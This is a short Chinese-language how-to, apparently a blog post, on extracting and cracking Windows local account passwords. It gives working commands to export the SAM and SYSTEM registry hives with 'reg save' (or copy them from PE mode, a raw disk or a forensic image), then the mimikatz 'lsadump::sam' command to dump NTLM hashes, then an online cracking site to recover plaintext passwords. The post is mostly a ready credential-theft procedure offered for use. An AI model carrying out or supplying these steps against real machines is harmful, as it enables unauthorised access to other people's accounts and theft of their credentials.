破解Windows本地账户密码（拿到明文密码）
1.导出sam和system文件
以管理员身份运行CMD命令行工具 输入： reg save hklm\sam sam.hive (本机密码) reg save hklm\system system.hive (本机密码) 导出路径为当前目录
PE模式下（win预安装模式）或直接连接硬盘找 C:\windows\system32\config\sam和system文件 取证镜像模式下 找镜像文件下 C:\windows\system32\config\sam和system文件
2.读取sam和system文件获取Hash NTLM加密后的密码
mimikatz（实战工具有被杀的风险）（完整用法自行百度，我也不知道) 把sam.hive system.hive 或 sam system文件放在mimikatz.exe 同一目录下 以管理员身份运行mimikatz.exe 输入： lsadump::sam /sam:sam.hive /system:system.hive 或 lsadump::sam /sam:sam /system:system （主要看导出的sam和system文件是那种方法） 得到Hash NTLM加密后的密码
3.在线网站在线破解密码例如：www.cmd5.com 拿到明文密码
结束